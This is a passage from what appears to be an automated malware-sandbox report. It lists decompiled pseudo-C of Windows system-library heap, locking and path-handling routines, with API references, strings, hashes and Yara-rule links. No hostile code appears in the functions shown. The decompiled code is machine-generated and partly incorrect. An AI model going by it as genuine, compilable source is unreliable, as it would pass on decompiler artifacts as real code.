					_t76 = (_t141 - __edx >> 0x10) + 1;
					_v12 = _t76;
					__eflags = _t76 - 0xfe;
					if(_t76 >= 0xfe) {
						_push(__edx);
						_push(0);
						E6A9DA80D(_t134, 3, _t141, __edx);
						_t76 = _v12;
					}
				} else {
					_t76 = 0;
				}
				 *((char*)(_t141 + 6)) = _t76;
				if( *0x6aa08748 >= 1) {
					__eflags = _a12 - _t141;
					if(_a12 <= _t141) {
						goto L4;
					}
					_t101 =  *[fs:0x30];
					__eflags =  *(_t101 + 0xc);
					if( *(_t101 + 0xc) == 0) {
						_push("HEAP: ");
						E6A91B150();
					} else {
						E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push("((PHEAP_ENTRY)LastKnownEntry <= Entry)");
					E6A91B150();
					__eflags =  *0x6aa07bc8;
					if(__eflags == 0) {
						E6A9D2073(_t111, 1, _t140, __eflags);
					}
					goto L3;
				} else {
					L3:
					_t147 = _a12 - _t141;
					L4:
					if(_t147 != 0) {
						 *((short*)(_t141 + 4)) =  *((intOrPtr*)(_t140 + 0x54));
					}
					if( *((intOrPtr*)(_t140 + 0x4c)) != 0) {
						 *(_t141 + 3) =  *(_t141 + 1) ^  *(_t141 + 2) ^  *_t141;
						 *_t141 =  *_t141 ^  *(_t140 + 0x50);
					}
					_t135 =  *(_t111 + 0x14);
					if( *(_t111 + 0x14) == 0) {
						L12:
						_t77 =  *((intOrPtr*)(_t141 + 6));
						if(_t77 != 0) {
							_t117 = (_t141 & 0xffff0000) - ((_t77 & 0x000000ff) << 0x10) + 0x10000;
						} else {
							_t117 = _t140;
						}
						_t118 = _t117 + 0x38;
						_t26 = _t111 + 8; // -16
						_t80 = _t26;
						_t136 =  *_t118;
						if( *((intOrPtr*)(_t136 + 4)) != _t118) {
							_push(_t118);
							_push(0);
							E6A9DA80D(0, 0xd, _t118,  *((intOrPtr*)(_t136 + 4)));
						} else {
							 *_t80 = _t136;
							 *((intOrPtr*)(_t80 + 4)) = _t118;
							 *((intOrPtr*)(_t136 + 4)) = _t80;
							 *_t118 = _t80;
						}
						_t120 = _v8;
						 *((intOrPtr*)(_t120 + 0x30)) =  *((intOrPtr*)(_t120 + 0x30)) + 1;
						 *((intOrPtr*)(_t120 + 0x2c)) =  *((intOrPtr*)(_t120 + 0x2c)) + ( *(_t111 + 0x14) >> 0xc);
						 *((intOrPtr*)(_t140 + 0x1e8)) =  *((intOrPtr*)(_t140 + 0x1e8)) -  *(_t111 + 0x14);
						 *((intOrPtr*)(_t140 + 0x1f8)) =  *((intOrPtr*)(_t140 + 0x1f8)) + 1;
						if( *((intOrPtr*)(_t140 + 0x1f8)) > 0xa) {
							__eflags =  *(_t140 + 0xb8);
							if( *(_t140 + 0xb8) == 0) {
								_t88 =  *(_t140 + 0x40) & 0x00000003;
								__eflags = _t88 - 2;
								_t121 = _t120 & 0xffffff00 | _t88 == 0x00000002;
								__eflags =  *0x6aa08720 & 0x00000001;
								_t89 = _t88 & 0xffffff00 | ( *0x6aa08720 & 0x00000001) == 0x00000000;
								__eflags = _t89 & _t121;
								if((_t89 & _t121) != 0) {
									 *(_t140 + 0x48) =  *(_t140 + 0x48) | 0x10000000;
								}
							}
						}
						_t85 =  *(_t111 + 0x14);
						if(_t85 >= 0x7f000) {
							 *((intOrPtr*)(_t140 + 0x1ec)) =  *((intOrPtr*)(_t140 + 0x1ec)) + _t85;
						}
						_t86 = _a16;
						 *_t86 = _t141 - _a12 >> 3;
						return _t86;
					} else {
						_t90 = E6A93B8E4(_t135);
						_t123 =  *((intOrPtr*)(_t90 + 4));
						if( *_t123 != _t90) {
							_push(_t123);
							_push( *_t123);
							E6A9DA80D(0, 0xd, _t90, 0);
						} else {
							 *_t111 = _t90;
							 *((intOrPtr*)(_t111 + 4)) = _t123;
							 *_t123 = _t111;
							 *((intOrPtr*)(_t90 + 4)) = _t111;
						}
						_t139 =  *(_t140 + 0xb8);
						if(_t139 != 0) {
							_t93 =  *(_t111 + 0x14) >> 0xc;
							__eflags = _t93;
							while(1) {
								__eflags = _t93 -  *((intOrPtr*)(_t139 + 4));
								if(_t93 <  *((intOrPtr*)(_t139 + 4))) {
									break;
								}
								_t126 =  *_t139;
								__eflags = _t126;
								if(_t126 != 0) {
									_t139 = _t126;
									continue;
								}
								_t93 =  *((intOrPtr*)(_t139 + 4)) - 1;
								__eflags =  *((intOrPtr*)(_t139 + 4)) - 1;
								break;
							}
							E6A93E4A0(_t140, _t139, 0, _t111, _t93,  *(_t111 + 0x14));
						}
						goto L12;
					}
				}
			}

0x6a93b746
0x6a93b74b
0x6a93b74d
0x6a93b750
0x6a93b755
0x6a93b758
0x6a93b758
0x6a93b75e
0x6a93b763
0x6a93b764
0x6a93b76a
0x6a93b76d
0x6a93b771
0x6a93b776
0x6a93b85c
0x6a93b85d
0x6a93b860
0x6a93b865
0x6a982ba1
0x6a982ba2
0x6a982ba9
0x6a982bae
0x6a982bae
0x6a93b77c
0x6a93b77c
0x6a93b77c
0x6a93b785
0x6a93b788
0x6a982bb6
0x6a982bb9
0x00000000
0x00000000
0x6a982bbf
0x6a982bc5
0x6a982bc9
0x6a982be8
0x6a982bed
0x6a982bcb
0x6a982be0
0x6a982be5
0x6a982bf3
0x6a982bf8
0x6a982bfd
0x6a982c05
0x6a982c0e
0x6a982c0e
0x00000000
0x6a93b78e
0x6a93b78e
0x6a93b78e
0x6a93b791
0x6a93b791
0x6a93b797
0x6a93b797
0x6a93b79f
0x6a93b7a9
0x6a93b7af
0x6a93b7af
0x6a93b7b1
0x6a93b7b6
0x6a93b7e2
0x6a93b7e2
0x6a93b7e7
0x6a93b880
0x6a93b7ed
0x6a93b7ed
0x6a93b7ed
0x6a93b7ef
0x6a93b7f2
0x6a93b7f2
0x6a93b7f5
0x6a93b7fa
0x6a982c2d
0x6a982c2e
0x6a982c39
0x6a93b800
0x6a93b800
0x6a93b802
0x6a93b805
0x6a93b808
0x6a93b808
0x6a93b80a
0x6a93b80d
0x6a93b816
0x6a93b81c
0x6a93b822
0x6a93b82f
0x6a93b88b
0x6a93b892
0x6a93b897
0x6a93b899
0x6a93b89b
0x6a93b89e
0x6a93b8a5
0x6a93b8a8
0x6a93b8aa
0x6a93b8ac
0x6a93b8ac
0x6a93b8aa
0x6a93b892
0x6a93b831
0x6a93b839
0x6a93b83b
0x6a93b83b
0x6a93b844
0x6a93b84b
0x6a93b852
0x6a93b7b8
0x6a93b7ba
0x6a93b7bf
0x6a93b7c4
0x6a982c18
0x6a982c19
0x6a982c23
0x6a93b7ca
0x6a93b7ca
0x6a93b7cc
0x6a93b7cf
0x6a93b7d1
0x6a93b7d1
0x6a93b7d4
0x6a93b7dc
0x6a93b8bb
0x6a93b8bb
0x6a93b8be
0x6a93b8be
0x6a93b8c1
0x00000000
0x00000000
0x6a93b8c3
0x6a93b8c5
0x6a93b8c7
0x6a93b8e0
0x00000000
0x6a93b8e0
0x6a93b8cc
0x6a93b8cc
0x00000000
0x6a93b8cc
0x6a93b8d6
0x6a93b8d6
0x00000000
0x6a93b7dc
0x6a93b7b6

Strings

((PHEAP_ENTRY)LastKnownEntry <= Entry), xrefs: 6A982BF3
HEAP: , xrefs: 6A982BE8
HEAP[%wZ]: , xrefs: 6A982BDB

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: ((PHEAP_ENTRY)LastKnownEntry <= Entry)$HEAP: $HEAP[%wZ]:
API String ID: 0-1334570610
Opcode ID: 57e3ef19598879b858d155f4cff926ed77a011575734cc6a30f51bd32599b07d
Instruction ID: a4550feb5604266d97026c0cfc14e3b57075116ef79b41ef2f531ad342bc6ff4
Opcode Fuzzy Hash: 57e3ef19598879b858d155f4cff926ed77a011575734cc6a30f51bd32599b07d
Instruction Fuzzy Hash: 2061D171604A15EFDB18CF28C484B6ABBF5FF45304F25856EE8598F642DB70E881CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6A9495EC, Relevance: 10.7, APIs: 7, Instructions: 165
timelibraryCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E6A9495EC(intOrPtr __ecx, signed int __edx, intOrPtr _a4) {
				intOrPtr _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				char _v20;
				signed int _v24;
				intOrPtr _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t55;
				signed int _t59;
				signed int* _t62;
				void* _t68;
				intOrPtr _t86;
				void* _t90;
				signed int _t91;
				signed int _t92;
				signed int _t95;
				signed int _t111;
				signed int _t114;
				signed int _t116;

				_v8 =  *0x6aa0d360 ^ _t116;
				_t114 = __edx;
				_v28 = __ecx;
				_v24 = 0;
				_v20 = 0;
				_t115 =  *((intOrPtr*)(__edx + 0x58));
				if(_t115 != 0) {
					_push( &_v20);
					_push(0);
					_push(0);
					E6A953720(_t90, __edx, __edx, _t115, __eflags);
				}
				_t91 = _t114 + 0x8c;
				_t95 =  *_t91;
				do {
					_t111 = _t95;
					_t55 = _t95 >> 1;
					if(_t55 == 0) {
						_v16 = _v16 & 0x00000000;
						_v12 = _v12 & 0x00000000;
					} else {
						_v16 = 1;
						_v12 = 1;
						if((_t95 & 0x00000001 | _t55 * 0x00000002 - 0x00000002) < 2) {
							_v12 = _v12 & 0x00000000;
						}
					}
					asm("lock cmpxchg [ebx], ecx");
					_t95 = _t111;
				} while (_t95 != _t111);
				_t92 = _t91 | 0xffffffff;
				if(_t115 != 0) {
					__eflags = _v16;
					if(__eflags != 0) {
						__eflags = E6A94EAA0(_t95, 0, _t115);
						if(__eflags >= 0) {
							_t86 = _v28;
							_t35 = _t86 + 0x50;
							 *_t35 =  *(_t86 + 0x50) | 0x00000100;
							__eflags =  *_t35;
							 *((intOrPtr*)(_t86 + 0x64)) = _t115;
						} else {
							_v16 = _v16 & 0x00000000;
							_v12 = _v12 & 0x00000000;
							_v24 = 1;
						}
					}
					_push(_v20);
					_push(0);
					E6A954520(_t92, _t114, _t115, __eflags);
					__eflags = _v24;
					if(_v24 != 0) {
						_t113 = _t92;
						E6A949ED0(_t114 + 0x20, _t92, 0);
						E6A9E8450(_t114);
					}
				}
				if(_v12 != 0) {
					_push(2);
					asm("lock xadd [edi], eax");
					_t59 = E6A937D50();
					__eflags = _t59;
					if(_t59 != 0) {
						_t62 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					} else {
						_t62 = 0x7ffe0386;
					}
					__eflags =  *_t62;
					if( *_t62 != 0) {
						E6A9E8A62( *(_t114 + 0x5c), _t114 + 0x78,  *((intOrPtr*)(_t114 + 0x30)),  *((intOrPtr*)(_t114 + 0x34)),  *((intOrPtr*)(_t114 + 0x3c)));
					}
					_t113 =  *(_t114 + 0x5c);
					E6A949702(_t92, _t114 + 0x78,  *(_t114 + 0x5c),  *((intOrPtr*)(_t114 + 0x74)), 0);
					asm("lock xadd [edi], eax");
					if(__eflags == 0) {
						_t115 =  *((intOrPtr*)( *((intOrPtr*)(_t114 + 4))));
						 *0x6aa0b1e0(_t114);
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t114 + 4))))))();
					}
				}
				if(_a4 != 0) {
					_t113 = 0;
					__eflags = E6A94992F(0);
					if(__eflags != 0) {
						 *((intOrPtr*)(_t114 + 0x70)) = _v0;
						asm("lock xadd [edi], eax");
						if(__eflags == 0) {
							_t115 =  *((intOrPtr*)( *((intOrPtr*)(_t114 + 4))));
							 *0x6aa0b1e0(_t114);
							 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t114 + 4))))))();
						}
					}
				}
				if(_v16 == 0) {
					asm("lock xadd [edi], ebx");
					_t92 = _t92 - 1;
					__eflags = _t92;
					if(_t92 == 0) {
						_t115 =  *((intOrPtr*)( *((intOrPtr*)(_t114 + 4))));
						 *0x6aa0b1e0(_t114);
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t114 + 4))))))();
					}
					_t68 = 0;
				} else {
					_t113 = _t114;
					E6A93E63F(_v28, _t114);
					_t68 = 1;
				}
				return E6A95B640(_t68, _t92, _v8 ^ _t116, _t113, _t114, _t115);
			}

0x6a9495fb
0x6a949601
0x6a949603
0x6a949608
0x6a94960b
0x6a94960e
0x6a949613
0x6a98967f
0x6a989680
0x6a989681
0x6a989682
0x6a989682
0x6a949619
0x6a94961f
0x6a949621
0x6a949623
0x6a949625
0x6a949627
0x6a98968c
0x6a989690
0x6a94962d
0x6a949634
0x6a949643
0x6a949649
0x6a94964b
0x6a94964f
0x6a949649
0x6a949653
0x6a949657
0x6a949659
0x6a94965d
0x6a949662
0x6a98969c
0x6a9896a0
0x6a9896aa
0x6a9896ac
0x6a9896bf
0x6a9896c2
0x6a9896c2
0x6a9896c2
0x6a9896c9
0x6a9896ae
0x6a9896ae
0x6a9896b2
0x6a9896b6
0x6a9896b6
0x6a9896ac
0x6a9896cc
0x6a9896cf
0x6a9896d1
0x6a9896d6
0x6a9896da
0x6a9896e5
0x6a9896e7
0x6a9896ed
0x6a9896ed
0x6a9896da
0x6a94966c
0x6a94969e
0x6a9496a1
0x6a9496a5
0x6a9496aa
0x6a9496ac
0x6a989700
0x6a9496b2
0x6a9496b2
0x6a9496b2
0x6a9496b9
0x6a9496bb
0x6a989719
0x6a989719
0x6a9496c1
0x6a9496cc
0x6a9496d3
0x6a9496d7
0x6a989727
0x6a98972b
0x6a989731
0x6a989731
0x6a9496d7
0x6a949672
0x6a9496de
0x6a9496e7
0x6a9496e9
0x6a9496ee
0x6a9496f3
0x6a9496f7
0x6a98973c
0x6a989740
0x6a989746
0x6a989746
0x6a9496f7
0x6a9496e9
0x6a949678
0x6a98974d
0x6a989751
0x6a989751
0x6a989752
0x6a989758
0x6a98975c
0x6a989762
0x6a989762
0x6a989764
0x6a94967e
0x6a949681
0x6a949683
0x6a94968a
0x6a94968a
0x6a94969b

APIs

RtlGetCurrentServiceSessionId.1105(00000000,00000001,?,?,7FFE0386), ref: 6A9496A5

Part of subcall function 6A949702: RtlAcquireSRWLockExclusive.1105(?,?,?,?,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6A94974F
Part of subcall function 6A949702: RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6A94976D

LdrLockLoaderLock.1105(00000000,00000000,00000001,?,?,7FFE0386,?,6A916778,00000001), ref: 6A989682
RtlDebugPrintTimes.1105(?,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6A98972B
RtlDebugPrintTimes.1105(?,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6A989740

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Lock$DebugExclusivePrintTimes$AcquireCurrentLoaderReleaseServiceSession
String ID:
API String ID: 732933571-0
Opcode ID: 54959c69a488f0dcee056f3e5c49c8e89dce2f1fc300c4e7f1db712048ddc435
Instruction ID: bbc5ace351b50445c5fcce003013bd593e18fe0fb93cc8645bfa87048a5393e2
Opcode Fuzzy Hash: 54959c69a488f0dcee056f3e5c49c8e89dce2f1fc300c4e7f1db712048ddc435
Instruction Fuzzy Hash: FA51CD71A04609AFEF05CF68CA48BAEB7B8FF55318F214569E42297290DF74D911CF80

Uniqueness

Uniqueness Score: -1.00%

Function 6A913FC5, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E6A913FC5(signed int __edx, intOrPtr _a4) {
				void* __ecx;
				signed char _t44;
				signed char _t48;
				intOrPtr* _t50;
				unsigned int _t51;
				signed char _t52;
				signed int _t58;
				signed int _t59;
				intOrPtr _t62;
				intOrPtr* _t64;
				signed int _t65;
				signed int _t78;

				_t58 = __edx;
				_t78 = _t59;
				if(__edx == 0 || (__edx & 0x00000007) != 0) {
					L37:
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E6A91B150();
					} else {
						E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push(_t58 + 8);
					_push(_t78);
					E6A91B150("Invalid address specified to %s( %p, %p )\n", _a4);
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0x6aa06378 = 1;
						asm("int3");
						 *0x6aa06378 = 0;
					}
					return 0;
				} else {
					_t44 =  *((intOrPtr*)(__edx + 7));
					if((_t44 & 0x0000003f) == 0) {
						goto L37;
					}
					if(_t44 < 0) {
						if( *((char*)(_t78 + 0xda)) != 2) {
							_t62 = 0;
						} else {
							_t62 =  *((intOrPtr*)(_t78 + 0xd4));
						}
						if(_t62 != 0) {
							if(_t44 != 4) {
								L23:
								return 1;
							}
						}
						goto L37;
					}
					if( *(_t78 + 0x4c) == 0 || ( *(_t78 + 0x50) ^  *__edx) >> 0x18 == (( *(_t78 + 0x50) ^  *__edx) >> 0x00000010 ^ ( *(_t78 + 0x50) ^  *__edx) >> 0x00000008 ^ _t76)) {
						if( *((char*)(_t58 + 7)) == 4) {
							if((_t58 & 0x00000fff) != 0x18) {
								goto L37;
							}
							L13:
							if( *(_t78 + 0x4c) == 0) {
								_t48 =  *((intOrPtr*)(_t58 + 2));
							} else {
								_t51 =  *_t58;
								if(( *(_t78 + 0x4c) & _t51) != 0) {
									_t51 = _t51 ^  *(_t78 + 0x50);
								}
								_t48 = _t51 >> 0x10;
							}
							if((_t48 & 0x00000004) != 0) {
								if(E6A9C23E3(_t78, _t58) != 0) {
									goto L18;
								}
							} else {
								L18:
								if( *((char*)(_t58 + 7)) == 4) {
									goto L23;
								}
								_t64 = _t78 + 0xa4;
								_t50 =  *_t64;
								while(_t50 != _t64) {
									if(_t58 <  *((intOrPtr*)(_t50 + 0x14)) || _t58 >=  *((intOrPtr*)(_t50 + 0x18))) {
										_t50 =  *_t50;
										continue;
									} else {
										goto L23;
									}
								}
							}
							goto L37;
						}
						_t52 =  *((intOrPtr*)(_t58 + 6));
						if(_t52 == 0) {
							_t65 = _t78;
						} else {
							_t65 = (_t58 & 0xffff0000) - ((_t52 & 0x000000ff) << 0x10) + 0x10000;
						}
						if(_t65 == 0 ||  *((intOrPtr*)(_t65 + 0x18)) != _t78 || _t58 <  *((intOrPtr*)(_t65 + 0x24)) || _t58 >=  *((intOrPtr*)(_t65 + 0x28))) {
							goto L37;
						} else {
							goto L13;
						}
					} else {
						goto L37;
					}
				}
			}

0x6a913fcc
0x6a913fcf
0x6a913fd3
0x6a9703b8
0x6a9703c2
0x6a9703e1
0x6a9703e6
0x6a9703c4
0x6a9703d9
0x6a9703de
0x6a9703ef
0x6a9703f0
0x6a9703f9
0x6a97040b
0x6a97040d
0x6a970414
0x6a970415
0x6a970415
0x00000000
0x6a913fe2
0x6a913fe2
0x6a913fe7
0x00000000
0x00000000
0x6a913fef
0x6a9140b8
0x6a9140d8
0x6a9140ba
0x6a9140ba
0x6a9140ba
0x6a9140c2
0x6a9140ca
0x6a9140a4
0x00000000
0x6a9140a4
0x6a9140cc
0x00000000
0x6a9140c2
0x6a913ff9
0x6a91401f
0x6a9703a0
0x00000000
0x00000000
0x6a914069
0x6a91406d
0x6a9140dc
0x6a91406f
0x6a91406f
0x6a914074
0x6a914076
0x6a914076
0x6a914079
0x6a914079
0x6a91407e
0x6a9703b2
0x00000000
0x00000000
0x6a914084
0x6a914084
0x6a914088
0x00000000
0x00000000
0x6a91408a
0x6a914090
0x6a914092
0x6a91409d
0x6a9140ad
0x00000000
0x00000000
0x00000000
0x00000000
0x6a91409d
0x6a914092
0x00000000
0x6a91407e
0x6a914025
0x6a91402a
0x6a9140d1
0x6a914030
0x6a914040
0x6a914040
0x6a914048
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6a913ff9

APIs

DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,6A9D3933,RtlGetUserInfoHeap), ref: 6A9703D9
DbgPrint.1105(HEAP: ,?,?,?,?,6A9D3933,RtlGetUserInfoHeap), ref: 6A9703E6
DbgPrint.1105(Invalid address specified to %s( %p, %p ),?,?,?,?,?,?,?,6A9D3933,RtlGetUserInfoHeap), ref: 6A9703F9

Strings

Invalid address specified to %s( %p, %p ), xrefs: 6A9703F4
HEAP: , xrefs: 6A9703E1
HEAP[%wZ]: , xrefs: 6A9703D4

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: HEAP: $HEAP[%wZ]: $Invalid address specified to %s( %p, %p )
API String ID: 3558298466-1151232445
Opcode ID: 06e99f49887eb20058cb8aa4547154bc59ee0315d5eba93190044304d57b1596
Instruction ID: 36fb095d404339ce8ec792af5e40c09307196043cb400cbddf86807d252f259f
Opcode Fuzzy Hash: 06e99f49887eb20058cb8aa4547154bc59ee0315d5eba93190044304d57b1596
Instruction Fuzzy Hash: 8D411470208344CFEB75CB1AC4C476677A99F4A30CF36446DE5554B242DF66D986CB22

Uniqueness

Uniqueness Score: -1.00%

Function 6A949ED0, Relevance: 10.6, APIs: 7, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E6A949ED0(signed int* __ecx, signed int __edx, intOrPtr _a4) {
				char _v12;
				signed int _v16;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int* _v40;
				char _v41;
				char _v42;
				char _v45;
				char _v46;
				void* __ebx;
				void* __edi;
				signed int _t39;
				signed int _t66;
				char _t70;
				signed int _t84;
				signed int _t88;
				signed int _t89;
				signed int _t93;
				signed int _t94;
				void* _t98;

				_push(_t66);
				_t88 =  *__ecx;
				_t70 = 0;
				_t93 = __ecx[1];
				_v40 = __ecx;
				_t39 = __edx;
				asm("cdq");
				_v41 = 0;
				_v42 = 0;
				_v36 = __edx;
				_v16 = __edx;
				L1:
				while(1) {
					if(_t70 != 0) {
						E6A92FFB0(_t66, _t88, _v40 + 8);
						_v46 = 0;
						L15:
						_t39 = _v36;
						L3:
						_v32 = _t93;
						_v28 = _t88;
						asm("adc eax, esi");
						_t89 = _t88 ^ _t39 + _t88 ^ _t88;
						_t94 = _t93 ^ (_v16 ^ _t93) & 0x0fffffff;
						_t84 = _t94 & 0x0fffffff;
						if((_v32 & 0x80000000) != 0) {
							if((_t89 | _t84) != 0) {
								goto L4;
							}
							_t94 = _t94 & 0x7fffffff;
							_v42 = 1;
							E6A932280(_v40 + 8, _v40 + 8);
							L5:
							_t66 = _t89;
							asm("lock cmpxchg8b [esi]");
							_t88 = _v28;
							_t93 = _v32;
							_t39 = _v36;
							if(_t88 != _v28 || _t93 != _v32) {
								_t70 = _v41;
								continue;
							} else {
								if(_v42 != 0) {
									_t54 = _v40;
									 *((intOrPtr*)(_v40 + 0xc)) = 0;
									E6A92FFB0(_t66, _t88, _v40 + 8);
									_t39 = E6A9E8858( *((intOrPtr*)(_t54 + 0xc)));
								} else {
									if(_v41 != 0) {
										_t91 = _v40;
										_t98 = _v40 + 0xc;
										E6A9E8833(_t98,  &_v12);
										E6A93FA00(_t66, _t98, _v40, _t91 + 8);
										_push(0);
										_push(_t98);
										_t39 = E6A95B180();
									}
								}
								return _t39;
							}
						}
						L4:
						if(_a4 != 0) {
							if((_t89 | _t84) == 0) {
								goto L5;
							}
							_t94 = _t94 | 0x80000000;
							_v41 = 1;
							E6A93FAD0(_v40 + 8);
						}
						goto L5;
					}
					if(_t70 != 0) {
						E6A93FA00(_t66, _t70, _t88, _v40 + 8);
						_v45 = 0;
						goto L15;
					}
					goto L3;
				}
			}

0x6a949edf
0x6a949ee2
0x6a949ee4
0x6a949ee6
0x6a949ee9
0x6a949eed
0x6a949eef
0x6a949ef0
0x6a949ef4
0x6a949ef8
0x6a949efc
0x00000000
0x6a949f00
0x6a949f02
0x6a989836
0x6a98983b
0x6a989854
0x6a989854
0x6a949f10
0x6a949f12
0x6a949f1c
0x6a949f20
0x6a949f26
0x6a949f31
0x6a949f3d
0x6a949f45
0x6a989861
0x00000000
0x00000000
0x6a98986b
0x6a989874
0x6a98987a
0x6a949f51
0x6a949f5b
0x6a949f61
0x6a949f65
0x6a949f67
0x6a949f69
0x6a949f71
0x6a949fa7
0x00000000
0x6a949f79
0x6a949f7e
0x6a9898a1
0x6a9898a8
0x6a9898b3
0x6a9898ba
0x6a949f84
0x6a949f89
0x6a9898c4
0x6a9898cc
0x6a9898d1
0x6a9898da
0x6a9898df
0x6a9898e1
0x6a9898e2
0x6a9898e2
0x6a949f89
0x6a949f95
0x6a949f95
0x6a949f71
0x6a949f4b
0x6a949f4f
0x6a949f9c
0x00000000
0x00000000
0x6a989888
0x6a989891
0x6a989897
0x6a989897
0x00000000
0x6a949f4f
0x6a949f0a
0x6a98984a
0x6a98984f
0x00000000
0x6a98984f
0x00000000
0x6a949f0a

APIs

RtlReleaseSRWLockExclusive.1105(?,FFFFFFFE,000000FF,FFFFFFFE), ref: 6A989836
RtlReleaseSRWLockShared.1105(?,FFFFFFFE,000000FF,FFFFFFFE), ref: 6A98984A
RtlAcquireSRWLockExclusive.1105(?), ref: 6A98987A
RtlAcquireSRWLockShared.1105(?), ref: 6A989897
RtlReleaseSRWLockExclusive.1105(?), ref: 6A9898B3

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Lock$ExclusiveRelease$AcquireShared
String ID:
API String ID: 1363392280-0
Opcode ID: 688a337dac4e851413f0ec5f61124e081631620ab6096ab0831448190c3edd25
Instruction ID: 0af81d741e693fa051430acb93b533d9073f0a743c597754fb14525ab2011e95
Opcode Fuzzy Hash: 688a337dac4e851413f0ec5f61124e081631620ab6096ab0831448190c3edd25
Instruction Fuzzy Hash: E9417E726482629FC714CF28D944B4BBBE5AFD5318F29494DF894AB242DA34ED0887D2

Uniqueness

Uniqueness Score: -1.00%

Function 6A9A6365, Relevance: 10.6, APIs: 7, Instructions: 123
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E6A9A6365(void* __ecx, wchar_t* __edx, signed short _a4, signed int* _a8, void** _a12, intOrPtr* _a16, char* _a20) {
				long _v8;
				wchar_t* _v12;
				int _v16;
				long _t30;
				void _t36;
				void _t39;
				intOrPtr* _t40;
				signed int* _t41;
				char* _t42;
				void* _t45;
				void* _t47;
				void* _t49;
				int _t52;
				void* _t53;
				intOrPtr _t56;
				void* _t61;
				void* _t62;
				void* _t63;
				void* _t64;
				long _t65;
				wchar_t* _t66;
				wchar_t* _t67;
				void* _t68;

				_t65 = _a4 & 0x0000ffff;
				_v12 = __edx;
				_t63 = __ecx;
				_t47 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _t65);
				_t30 = 0;
				_v8 = 0;
				if(_t47 == 0) {
					_t64 = 0xc0000017;
					L8:
					if(_t47 != 0) {
						RtlFreeHeap( *( *[fs:0x30] + 0x18), _t30, _t47);
					}
					return _t64;
				}
				_push( &_v16);
				_push(_t65);
				_push(_t47);
				_push(2);
				_push(_t63);
				_push(0xffffffff);
				_t64 = E6A959730();
				if(_t64 < 0) {
					L7:
					_t30 = 0;
					goto L8;
				}
				_t49 =  *(_t47 + 4);
				_t61 = _t49 + 2;
				do {
					_t36 =  *_t49;
					_t49 = _t49 + 2;
				} while (_t36 != _v8);
				_t52 = 2 + (_t49 - _t61 >> 1) * 2;
				_v16 = _t52;
				if(_t52 >= _t65) {
					_t64 = 0x80000005;
					goto L7;
				}
				_t66 = _v12;
				memcpy(_t66,  *(_t47 + 4), _t52);
				_t67 = wcsrchr(_t66, 0x5c);
				if(_t67 != 0) {
					_t68 = _t67 + 2;
					_t53 = _t68;
					_t15 = _t53 + 2; // 0x0
					_t62 = _t15;
					do {
						_t39 =  *_t53;
						_t53 = _t53 + 2;
					} while (_t39 != _v8);
					_t56 = (_t53 - _t62 >> 1) + (_t53 - _t62 >> 1);
					_v8 = _t56;
					if(_a12 == 0) {
						L17:
						_t40 = _a16;
						if(_t40 != 0) {
							 *_t40 = _t56;
						}
						_t41 = _a8;
						if(_t41 != 0) {
							 *_t41 = _t68 - _v12 & 0xfffffffe;
						}
